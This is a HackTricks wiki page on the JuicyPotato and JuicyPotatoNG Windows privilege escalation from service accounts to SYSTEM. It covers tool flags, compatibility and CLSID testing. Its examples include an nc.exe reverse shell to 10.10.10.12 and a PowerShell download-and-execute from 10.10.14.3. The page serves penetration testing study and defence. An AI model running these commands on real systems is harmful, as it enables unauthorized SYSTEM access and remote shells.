juicypotato.md (10451B)
1 --- 2 title: "JuicyPotato" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/juicypotato.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # JuicyPotato 14 15 > [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage. 16 17 [Roguepotato And Printspoofer](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer) 18 19 ## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a> 20 21 _A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_<sup>[[1]](#references)</sup> 22 23 #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) 24 25 ### Compatibility quick notes 26 27 - Works reliably up to Windows 10 1803 and Windows Server 2016 when the current context has SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. 28 - Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds. 29 30 ### Summary <a href="#summary" id="summary"></a> 31 32 [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**<sup>[[1]](#references)</sup> 33 34 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. 35 36 We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. 37 38 > For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.<sup>[[4]](#references)</sup> 39 40 Besides `BITS`, several COM servers can be abused. They only need to: 41 42 1. be instantiable by the current user, normally a “service user” which has impersonation privileges 43 2. implement the `IMarshal` interface 44 3. run as an elevated user (SYSTEM, Administrator, …) 45 46 After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions. 47 48 ### Juicy details <a href="#juicy-details" id="juicy-details"></a> 49 50 JuicyPotato allows you to:<sup>[[1]](#references)</sup> 51 52 - **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._ 53 - **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_ 54 - **COM Listening IP address** _bind the server on any IP_ 55 - **Process creation mode** _depending on the impersonated user’s privileges you can choose from:_ 56 - `CreateProcessWithToken` (needs `SeImpersonate`) 57 - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) 58 - `both` 59 - **Process to launch** _launch an executable or script if the exploitation succeeds_ 60 - **Process Argument** _customize the launched process arguments_ 61 - **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_ 62 - **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_ 63 - **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) 64 65 ### Usage <a href="#usage" id="usage"></a> 66 67 ```text 68 T:\>JuicyPotato.exe 69 JuicyPotato v0.1 70 71 Mandatory args: 72 -t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both 73 -p <program>: program to launch 74 -l <port>: COM server listen port 75 76 77 Optional args: 78 -m <ip>: COM server listen address (default 127.0.0.1) 79 -a <argument>: command line argument to pass to program (default NULL) 80 -k <ip>: RPC server ip address (default 127.0.0.1) 81 -n <port>: RPC server listen port (default 135) 82 ``` 83 84 ### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a> 85 86 [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**<sup>[[1]](#references)</sup> 87 88 If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**. 89 90 It’s nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via `DCOMCNFG` but good luck, this is gonna be challenging. 91 92 The actual solution is to protect sensitive accounts and applications which run under the `* SERVICE` accounts. Stopping `DCOM` would certainly inhibit this exploit but could have a serious impact on the underlying OS. 93 94 From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)<sup>[[3]](#references)</sup> 95 96 ## JuicyPotatoNG (2022+) 97 98 JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:<sup>[[2]](#references)</sup> 99 - DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener. 100 - An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present. 101 - Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes). 102 103 Important notes (evolving behavior across builds):<sup>[[2]](#references)</sup> 104 - September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. 105 - January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. 106 107 Basic usage (more flags in the help): 108 109 ```text 110 JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" 111 # Useful helpers: 112 # -b Bruteforce all CLSIDs (testing only; spawns many processes) 113 # -s Scan for a COM port not filtered by Windows Defender Firewall 114 # -i Interactive console (only with CreateProcessAsUser) 115 ``` 116 117 If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state. 118 119 ## Examples 120 121 Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. 122 123 ### Get a nc.exe reverse shell 124 125 ```text 126 c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * 127 128 Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 129 ...... 130 [+] authresult 0 131 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM 132 133 [+] CreateProcessWithTokenW OK 134 135 c:\Users\Public> 136 ``` 137 138 ### Powershell rev 139 140 ```text 141 .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * 142 ``` 143 144 ### Launch a new CMD (if you have RDP access) 145 146  147 148 ## CLSID Problems 149 150 Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page: 151 152 - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) 153 154 ### **Checking CLSIDs** 155 156 First, you will need some executables apart from juicypotato.exe. 157 158 Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test. 159 160 Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**. 161 162 **Check** the working CLSIDs **using the parameter -c** 163 164 ## References 165 166 - [1] [Juicy Potato README (ohpe/juicy-potato)](https://github.com/ohpe/juicy-potato/blob/master/README.md) 167 - [2] [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) 168 - [3] [Juicy Potato project page (ohpe.it)](http://ohpe.it/juicy-potato/) 169 - [4] [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)